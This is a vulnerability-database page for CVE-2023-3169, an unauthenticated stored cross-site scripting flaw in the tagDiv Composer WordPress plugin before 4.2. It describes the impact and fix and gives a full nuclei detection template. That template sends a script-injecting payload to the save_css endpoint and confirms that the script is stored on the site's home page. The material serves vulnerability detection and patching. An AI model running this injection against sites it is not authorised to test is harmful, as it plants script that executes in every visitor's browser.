HexBrain

Browse / CVEs / CVE-2023-3169

CVE-2023-3169· tagdiv / tagdiv composer· CWE-79

tagDiv Composer < 4.2 - Stored Cross-Site Scripting

highseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
69%of all CVEs are less likely
Readycheck to confirm it

tagDiv Composer plugin versions before 4.2 for WordPress are vulnerable to unauthenticated stored XSS via the /wp-json/tdw/save_css endpoint. An attacker can inject malicious JavaScript code through the compiled_css parameter, which gets stored and executed when the CSS is loaded.

Impact

Unauthenticated attackers can inject malicious JavaScript through the compiled_css parameter which gets stored and executed when the CSS is loaded, potentially compromising all visitors to the WordPress site.

Fix

Update tagDiv Composer plugin to version 4.2 or later that properly validates and sanitizes CSS input from the save_css endpoint and requires authentication.

How to confirm it

Send: POST /wp-json/tdw/save_css
Positive when: len(body) == 0 or status_code == 200 or contains(content_type, "application/json")
Send: GET /
Positive when: contains "tdw-css-placeholder\"></style><script>console.log({{string}}…" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3169 -u <target>

The full check
id: CVE-2023-3169

info:
  name: tagDiv Composer < 4.2 - Stored Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    tagDiv Composer plugin versions before 4.2 for WordPress are vulnerable to unauthenticated stored XSS via the /wp-json/tdw/save_css endpoint. An attacker can inject malicious JavaScript code through the compiled_css parameter, which gets stored and executed when the CSS is loaded.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the compiled_css parameter which gets stored and executed when the CSS is loaded, potentially compromising all visitors to the WordPress site.
  remediation: |
    Update tagDiv Composer plugin to version 4.2 or later that properly validates and sanitizes CSS input from the save_css endpoint and requires authentication.
  reference:
    - https://wpscan.com/vulnerability/e6d8216d-ace4-48ba-afca-74da0dc5abb5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3169
    epss-score: 0.01217
    epss-percentile: 0.68862
    cwe-id: CWE-79
    cpe: cpe:2.3:a:tagdiv:tagdiv_composer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tagdiv
    product: tagdiv_composer
    fofa-query: body="/wp-content/plugins/td-composer"
  tags: cve,cve2023,wordpress,wp-plugin,wp,xss,td-composer,tagdiv,intrusive,vkev,vuln

variables:
  string: "{{rand_text_numeric(13)}}"
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/tdw/save_css HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        compiled_css=%3C%2Fstyle%3E<script>console.log({{string}})</script>%3Cstyle%3E

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'tdw-css-placeholder"></style><script>console.log({{string}})</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from